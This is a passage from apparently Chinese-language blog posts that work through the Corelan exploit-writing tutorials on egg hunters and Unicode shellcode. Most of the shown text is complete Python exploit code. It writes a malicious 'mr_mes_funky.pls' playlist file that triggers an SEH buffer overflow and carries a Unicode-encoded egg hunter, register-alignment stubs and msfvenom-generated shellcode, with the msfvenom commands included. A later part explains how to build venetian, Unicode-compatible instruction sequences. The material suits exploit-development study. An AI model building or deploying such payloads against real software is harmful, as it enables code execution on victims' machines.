<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4d\x4b\x48\x37\x4b\x53\x4d\x57\x54\x32\x55\x4a</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x44\x31\x48\x4c\x4b\x30\x58\x56\x44\x45\x51\x59</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x43\x52\x46\x4c\x4b\x34\x4c\x30\x4b\x4c\x4b\x56</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x38\x45\x4c\x45\x51\x59\x43\x4c\x4b\x55\x54\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x33\x31\x58\x50\x4d\x59\x51\x54\x37\x54\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x34\x31\x4b\x51\x4b\x53\x51\x31\x49\x51\x4a\x46</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x4b\x4f\x4b\x50\x51\x4f\x31\x4f\x31\x4a\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x52\x32\x5a\x4b\x4c\x4d\x51\x4d\x42\x4a\x33</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x4c\x4d\x4c\x45\x4e\x52\x55\x50\x53\x30\x43</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x50\x50\x45\x38\x56\x51\x4c\x4b\x32\x4f\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x37\x4b\x4f\x49\x45\x4f\x4b\x4a\x50\x48\x35\x4f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x52\x30\x56\x33\x58\x59\x36\x4c\x55\x4f\x4d\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4d\x4b\x4f\x58\x55\x57\x4c\x44\x46\x53\x4c\x35</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x5a\x4b\x30\x4b\x4b\x4d\x30\x33\x45\x53\x35\x4f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x37\x37\x35\x43\x42\x52\x42\x4f\x42\x4a\x45</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x46\x33\x4b\x4f\x49\x45\x43\x53\x35\x31\x52</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x43\x53\x56\x4e\x33\x55\x32\x58\x52\x45\x53</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x41\x41</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">headers</span> <span class="o">+</span> <span class="n">padding_one</span> <span class="o">+</span> <span class="n">next_seh</span> <span class="o">+</span> <span class="n">handler</span> <span class="o">+</span> <span class="n">jumper</span> <span class="o">+</span> <span class="n">padding_two</span> <span class="o">+</span> <span class="n">egg_hunter</span> <span class="o">+</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">egg</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="n">shellcode</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"mr_mes_funky.pls"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<h2>编码egg hunter与shellcode</h2>
<p>按照原文中的第二条思路,使用egg hunter来寻找unicode版本的shellcode,对应的egg和编码后的egg_hunter也需要变化一下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">egg</span> <span class="o">=</span> <span class="s">"x</span><span class="se">\x00</span><span class="s">i</span><span class="se">\x00</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8</span><span class="s">"</span> <span class="o">+</span> <span class="n">egg</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7</span><span class="s">"</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"egg_hunter.bin"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">egg_hunter</span><span class="p">)</span>
</code></pre></div></div>
<p>在egg hunter跳转执行后,由于是unicode编码的shellcode,所以要使eax指向shellcode的起始位置。这时的eip也就是edi,借助edi的值增加一个偏移就可以定位至shellcode了:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># mov eax, edi
\x57 push edi
\x6d nop
\x58 pop eax
\x6d nop
# add eax, 0x18
\xb9\x18\xaa mov ecx, 0xaa001800
\xe8 add al,ch
\x6d nop
# jmp eax
\x50 push eax
\x6d
\xc3 ret
</code></pre></div></div>
<p>其实之前<code class="language-plaintext highlighter-rouge">0x100+424</code>字节的栈空间,结合增加eax一个小偏移再进行跳转还是能够存放下完整的shellcode。另外,这个小偏移在本文的环境中为0x18(在原文中应为0x1a,但不知为何写成了0x1b),最后还是可以执行unicode版的shellcode:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">headers</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">headers</span> <span class="o">+=</span> <span class="s">"[playlist]</span><span class="se">\n</span><span class="s">"</span>
<span class="n">headers</span> <span class="o">+=</span> <span class="s">"NumberOfEntries=3</span><span class="se">\n\n</span><span class="s">"</span>
<span class="n">headers</span> <span class="o">+=</span> <span class="s">"File1="</span>
<span class="n">padding_one</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">4077</span>
<span class="n">next_seh</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x41\x6d</span><span class="s">"</span>
<span class="n">handler</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x0e\x45</span><span class="s">"</span>
<span class="n">jumper</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x58\x6d\x58\x6d\x58\x6d\x58\x6d\x05\x02\x11\x6d\x2d\x01\x11\x6d\x50\x6d\xc3</span><span class="s">"</span>
<span class="n">padding_two</span> <span class="o">=</span> <span class="s">"B"</span> <span class="o">*</span> <span class="p">(</span><span class="mi">128</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">next_seh</span><span class="o">+</span><span class="n">handler</span><span class="o">+</span><span class="n">jumper</span><span class="p">))</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s">"C"</span> <span class="o">*</span> <span class="mi">500</span>
<span class="c1"># cat egg_hunter.bin | msfvenom -a x86 --platform windows -e x86/unicode_upper BufferRegister=EAX -f python -v egg_hunter
# Attempting to read payload from STDIN...
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/unicode_upper
# x86/unicode_upper succeeded with size 195 (iteration=0)
# x86/unicode_upper chosen with final size 195
# Payload size: 195 bytes
# Final size of python file: 1103 bytes
</span><span class="n">egg_hunter</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x51\x41\x54\x41\x58\x41\x5a\x41\x50\x55</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x33\x51\x41\x44\x41\x5a\x41\x42\x41\x52\x41</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41\x51</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x50\x41\x35\x41\x41\x41\x50\x41\x5a\x31</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x49\x31\x41\x49\x41\x49\x41\x4a\x31\x31</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x49\x41\x49\x41\x58\x41\x35\x38\x41\x41</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x49\x51\x49\x41\x49\x51\x49\x31\x31\x31\x31</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x49\x41\x4a\x51\x49\x31\x41\x59\x41\x5a</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33\x30</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x50\x42\x39\x34\x34\x4a\x42\x43\x36\x35</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x48\x4a\x4b\x4f\x4c\x4f\x30\x42\x51\x42</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x42\x4a\x4d\x32\x42\x38\x38\x4d\x4e\x4e\x4f</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x4c\x45\x31\x4a\x44\x34\x4a\x4f\x57\x48</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x34\x38\x4d\x30\x52\x49\x4d\x30\x54\x4b\x4b</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4a\x56\x4f\x44\x35\x39\x5a\x46\x4f\x53\x45</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x59\x57\x4b\x4f\x59\x57\x41\x41</span><span class="s">"</span>
<span class="n">egg</span> <span class="o">=</span> <span class="s">"xi"</span>
<span class="n">align</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x57\x6d\x58\x6d\xb9\x18\xaa\xe8\x6d\x50\x6d\xc3</span><span class="s">"</span>
<span class="c1"># msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX -f python -v shellcode
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/unicode_upper
# x86/unicode_upper succeeded with size 517 (iteration=0)
# x86/unicode_upper chosen with final size 517
# Payload size: 517 bytes
# Final size of python file: 2788 bytes
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x41\x54\x41\x58\x41\x5a\x41\x50\x55\x33\x51</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x49\x41\x51\x41\x49\x41\x51\x41\x50\x41\x35</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x41\x41\x50\x41\x5a\x31\x41\x49\x31\x41\x49</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41\x58</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x35\x38\x41\x41\x50\x41\x5a\x41\x42\x41\x42</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x31\x31\x41\x49\x41\x4a\x51\x49\x31\x41\x59</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x4b\x4c\x59</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x58\x43\x52\x4d\x30\x4d\x30\x4d\x30\x53\x30\x54</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x49\x39\x55\x4e\x51\x57\x50\x51\x54\x44\x4b\x32</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x50\x30\x44\x4b\x52\x32\x4c\x4c\x44\x4b\x30</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x52\x4d\x44\x44\x4b\x32\x52\x4e\x48\x4c\x4f\x37</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x47\x4f\x5a\x4d\x56\x50\x31\x4b\x4f\x36\x4c\x4f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x53\x31\x53\x4c\x4b\x52\x4e\x4c\x4d\x50\x39</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x48\x4f\x4c\x4d\x4b\x51\x47\x57\x39\x52\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x32\x52\x32\x42\x37\x44\x4b\x42\x32\x4e\x30\x34</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x4f\x5a\x4f\x4c\x34\x4b\x50\x4c\x4e\x31\x54</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x38\x59\x53\x51\x38\x4b\x51\x58\x51\x52\x31\x44</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x51\x49\x4f\x30\x4d\x31\x48\x53\x44\x4b\x51</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x39\x4e\x38\x4a\x43\x4f\x4a\x30\x49\x34\x4b\x50</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x34\x54\x4b\x4b\x51\x39\x46\x30\x31\x4b\x4f\x56</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x49\x31\x38\x4f\x4c\x4d\x4b\x51\x49\x37\x4e</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x58\x49\x50\x33\x45\x4c\x36\x4b\x53\x43\x4d\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x38\x4f\x4b\x33\x4d\x4e\x44\x52\x55\x49\x54\x50</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x58\x44\x4b\x52\x38\x4f\x34\x4d\x31\x48\x53\x51</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x56\x54\x4b\x4c\x4c\x50\x4b\x34\x4b\x52\x38\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x4d\x31\x39\x43\x34\x4b\x4d\x34\x44\x4b\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x5a\x30\x34\x49\x50\x44\x4e\x44\x4f\x34\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x31\x4b\x43\x31\x42\x39\x30\x5a\x32\x31\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4f\x39\x50\x51\x4f\x31\x4f\x31\x4a\x54\x4b\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x52\x4a\x4b\x54\x4d\x51\x4d\x32\x4a\x4b\x51\x44</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4d\x45\x35\x46\x52\x4d\x30\x4d\x30\x4b\x50\x32</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x43\x38\x4e\x51\x54\x4b\x42\x4f\x33\x57\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4f\x49\x45\x47\x4b\x4c\x30\x47\x45\x36\x42\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x46\x31\x58\x47\x36\x35\x45\x57\x4d\x55\x4d\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4f\x48\x55\x4f\x4c\x4c\x46\x43\x4c\x4b\x5a\x35</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x4b\x4b\x39\x50\x54\x35\x4d\x35\x57\x4b\x50</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x47\x4d\x43\x53\x42\x52\x4f\x31\x5a\x4d\x30\x52</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x33\x4b\x4f\x58\x55\x33\x33\x33\x31\x52\x4c\x43</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x33\x4e\x4e\x53\x35\x53\x48\x52\x45\x4d\x30\x41</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">headers</span> <span class="o">+</span> <span class="n">padding_one</span> <span class="o">+</span> <span class="n">next_seh</span> <span class="o">+</span> <span class="n">handler</span> <span class="o">+</span> <span class="n">jumper</span> <span class="o">+</span> <span class="n">padding_two</span> <span class="o">+</span> <span class="n">egg_hunter</span> <span class="o">+</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">egg</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="n">align</span> <span class="o">+</span> <span class="n">shellcode</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"mr_mes_funky.pls"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<h1>0x04 收尾整合</h1>
<h2>调整egg hunter的起始位置</h2>
<ol>
<li>原因:我们要寻找的tag+shellcode有可能分布在内存的多个地方,有些可能被损坏(可借助pvefindaddr等插件查看),所以为了效率、快速、一次性成功等原因,有时候需要调整egg hunter的位置。</li>
<li>方法:egg hunter实际上也是一种shellcode,针对性地更改起始汇编代码即可。</li>
<li>调整位置:漏洞环境相关:当前栈帧、某个寄存器中的地址或某个硬编码地址;系统相关:镜像地址或堆起始地址等。</li>
</ol>
<h2>Egg hunter中的坏字符与编码</h2>
<p>Egg hunter作为一种shellcode,可能也会遇到badchar和encoder的问题,原文通过对他人漏洞利用的分析,总结了一种比较新颖的编码方式,其解码的过程个人觉得更像是一种生成的过程。</p>
<ol>
<li>使用popad等指令下移esp,在逐渐push 解码(生成)的egg hunter后,使得decoder(generator)后正好放置着egg hunter,随即执行。</li>
<li>首先使用2条and指令清空eax,再使用3条sub指令生成4字节原始的egg hunter,然后push至栈上。</li>
<li>减3次4字节的值都要求是字母或数字,原文中给出的方法是:对于4个字节,在每个位置都可以选取<code class="language-plaintext highlighter-rouge">\x55</code>和<code class="language-plaintext highlighter-rouge">\x7f</code>间的一个字符,3次相加得到对应index的字符即可,有进位也是可以的。</li>
<li>优点是一种比较新颖的生成egg hunter的方法,缺点就是极大地增加了自身的长度。</li>
</ol>
<h2>Omelet egg hunter</h2>
<ol>
<li>本质:是一种shellcode,旨在内存中搜索特定的内存块,并写入某一内存地址处,最后跳转执行。</li>
<li>内存搜索方法:和egg hunter一样可以采用SEH或系统调用来规避非法地址访问的异常。</li>
<li>内存块特征:至少得有tag、size、index这几个属性。</li>
<li>写入内存要求:预期的内存地址处,而且该地址可写可执行。</li>
</ol>
<h1>0x05 总结</h1>
<p>egg hunter本质上还是一种shellcode,加入了内存搜索的功能,根据漏洞上下文环境的的不同,还可以更改汇编代码完成更加高级的功能,例如Omelet egg hunter。万变不离其宗,既然已经到了能执行任意汇编代码的阶段,稍加探索肯定是能够执行我们的shellcode的。</p>
<p>以后的平庸都是对现在放纵的后果,要在梦中识别出梦,最后跳转出来也是蛮有意思的。</p>
Larryxi
0x00 环境准备 苏格拉底说:人类的幸福和欢乐在于奋斗,而最有价值的是为了理想而奋斗。Part8主要介绍的是egg hunter的一种技术,本质上来讲就是一种执行shellcode的方法,利用SEH、函数API或者系统调用来规避非法地址访问,找到egg后并跳转执行。根据漏洞环境的情况也可以发展为omelet egg hunter,虽然漏洞利用中这两个技术不太常见,但对漏洞利用的思维还是有开阔作用的。
Learn Corelan Exploit Writing Part 7
2018-09-02T00:00:00+00:00
2018-09-02T00:00:00+00:00
https://larryxi.github.io/2018/09/02/learn-corelan-exploit-writing-part-seven
<h1>0x00 环境搭建</h1>
<p>关于栈上的漏洞,之前系列的教程已经介绍了直接覆盖返回地址和触发SEH两种利用方式,同时也涵盖了众多保护机制的绕过方法。<a href="https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/">Part7</a>应对的则是在输入字符串被转化为Unicode字符串后,溢出漏洞该如何构造exploit和payload(shellcode)。其中对于Unicode和汇编代码的联系理解,以及venetian shellcode创造性的使用都是值得学习的。</p>
<!-- more -->
<p>原文和本篇文章主要实践了将转化后合适的Unicode作为nop执行,以及编写汇编代码构造特定寄存器的内容,最后跳转至shellcode执行。至于兼容Unicode的shellcode的具体原理后面有机会再探个究竟。本文的实验环境还是win7-en-x86,未开启ASLR和DEP保护。</p>
<h1>0x01 利用原理</h1>
<h2>转变原理</h2>
<p>首先要明白输入的数据转变成Unicode是怎么转变的,结果又如何。在Win32的API中经常会把字符串转为Unicode的形式,类似于<a href="https://docs.microsoft.com/en-us/windows/desktop/api/stringapiset/nf-stringapiset-multibytetowidechar">MultiByteToWideChar</a>函数:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">MultiByteToWideChar</span><span class="p">(</span>
<span class="n">UINT</span> <span class="n">CodePage</span><span class="p">,</span>
<span class="n">DWORD</span> <span class="n">dwFlags</span><span class="p">,</span>
<span class="n">_In_NLS_string_</span><span class="p">(</span><span class="n">cbMultiByte</span><span class="p">)</span><span class="n">LPCCH</span> <span class="n">lpMultiByteStr</span><span class="p">,</span>
<span class="kt">int</span> <span class="n">cbMultiByte</span><span class="p">,</span>
<span class="n">LPWSTR</span> <span class="n">lpWideCharStr</span><span class="p">,</span>
<span class="kt">int</span> <span class="n">cchWideChar</span>
<span class="p">);</span>
</code></pre></div></div>
<p>我理解的就是将<a href="https://en.wikipedia.org/wiki/Windows_code_page">Windows ANSI code page</a>表示的字符串转换为UTF-16(宽字节)字符串,其中有个编码再解码的过程。对于小于等于<code class="language-plaintext highlighter-rouge">\x7f</code>的ASCII字符,根据ANSI转换的结果会在其后加个<code class="language-plaintext highlighter-rouge">\x00</code>字节,而对于大于<code class="language-plaintext highlighter-rouge">\x7f</code>的ASCII字符,则会被转变为另外两个字符,详见fx的<a href="http://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf">ppt</a>,感兴趣的同学也可以验证一下。</p>
<h2>利用方法</h2>
<p>虽然覆盖的地址由原来控制的4字节变为2字节,但转换的原理和结果都知道,理论上来说一切都还是在控制当中的。首先对于确定漏洞点的偏移是没多大影响的,对应的2倍伸缩即可。其次对于利用方法的如下:</p>
<ol>
<li>直接覆盖返回地址:由于返回地址是跳转指令,所以还得寻找是转换后Unicode形式的跳转地址(比如<code class="language-plaintext highlighter-rouge">0x00nn00mm</code>或大于<code class="language-plaintext highlighter-rouge">\x7f</code>对应的宽字符组成的地址);如果找不到则可以退而求其次,寻找符合格式的上下文地址,只要在到达跳转指令的过程中不会破坏漏洞利用环境即可。这类地址的寻找均可用插件实现。(如OllyUNI和pvefindaddr)</li>
<li>基于SEH的利用:<code class="language-plaintext highlighter-rouge">pop pop ret</code>的地址选取和第1点一样,关键是nshe中的短跳指令在转变成Unicode后不好控制,所以转变思路将转变为Unicode后的nseh+handler,作为nop指令(无害操作即为nop)执行过去抵达shellcode。</li>
</ol>
<p>最后关于shellcode的构造思路,原文中提到了3种方法:</p>
<ol>
<li>寻找ASCII版的shellcode再跳转执行:可能原始的shellcode不是可以直接通过寄存器跳转执行的,但我们可以利用venetian shellcode构建汇编代码向寄存器中写入特定地址,再跳转执行。(后文有示例)</li>
<li>构建一个Unicode兼容的shellcode:难度可能有些大。</li>
<li>使用decoder:前辈们有写好decoder解码shellcode再执行(基于venetian shellcode的构造思想),可是运行decoder需要特定寄存器满足一定的条件,如指向decoder的地址或指向一个可写地址。</li>
</ol>
<p>如果我们通过覆盖返回地址或者利用SEH劫持了eip,在某些情况下也需要我们手写一些Unicode兼容的shellcode,来满足后续shellcode执行代码过程中对一些寄存器的要求。原文中根据<a href="http://www.phrack.org/issues.html?issue=61&id=11#article">Building IA32 ‘Unicode-Proof’ Shellcodes</a>的内容介绍了两个例子,一个是实现<code class="language-plaintext highlighter-rouge">mov eax, 0x????????</code>,另一个是实现<code class="language-plaintext highlighter-rouge">lea eax, [ebp+0x300]</code>。</p>
<p>在后续漏洞利用过程中我也探索出了几个有趣的指令(均在ANSI Code page下)。</p>
<p>例一实现的汇编代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mov eax,0xAA004400 ; set EAX to 0xAA004400
push eax
dec esp
pop eax ; EAX = 0x004400??
add eax,0x33005500 ; EAX = 0x334455??
mov al,0x0 ; EAX = 0x33445500
mov ecx,0xAA006600
add al,ch ; EAX now contains 0x33445566
</code></pre></div></div>
<p>可以发现对寄存器赋值的操作和add的一些指令都是Unicode兼容的,可以扩展实现一些add操作:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>\xb8\x00\x44\x00\xaa mov eax,0xAA004400
\xbb\x00\x44\x00\xaa mov ebx,0xAA004400
\xb9\x00\x44\x00\xaa mov ecx,0xAA004400
\xba\x00\x44\x00\xaa mov edx,0xAA004400
\xbf\x00\x44\x00\xaa mov edi,0xAA004400
\xbe\x00\x44\x00\xaa mov esi,0xAA004400
\xbd\x00\x44\x00\xaa mov ebp,0xAA004400
\xbc\x00\x44\x00\xaa mov esp,0xAA004400
\x00\xe8 add al, ch
\x00\xec add ah, ch
\x00\xeb add bl, ch
\x00\xef add bh, ch
\x00\xea add dl, ch
\x00\xee add dh, ch
</code></pre></div></div>
<p>如果想和eax寄存器交换内容,可以用单字节指令xchg,可惜都是<code class="language-plaintext highlighter-rouge">\x9?</code>,会被转换掉,不过我们还是可以借助栈来实现寄存器的交换:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>\x93 xchg eax, ebx
\x50 push eax
\x53 push ebx
\x58 pop eax
\x5b pop ebx
\x57 push edi
\x5e pop esi
</code></pre></div></div>
<p>虽然phrack的文章说<code class="language-plaintext highlighter-rouge">mov eax,[eax]</code>这样的指令是完全没用的(不兼容),但借助栈的特性还是可以实现类似操作的:</p>
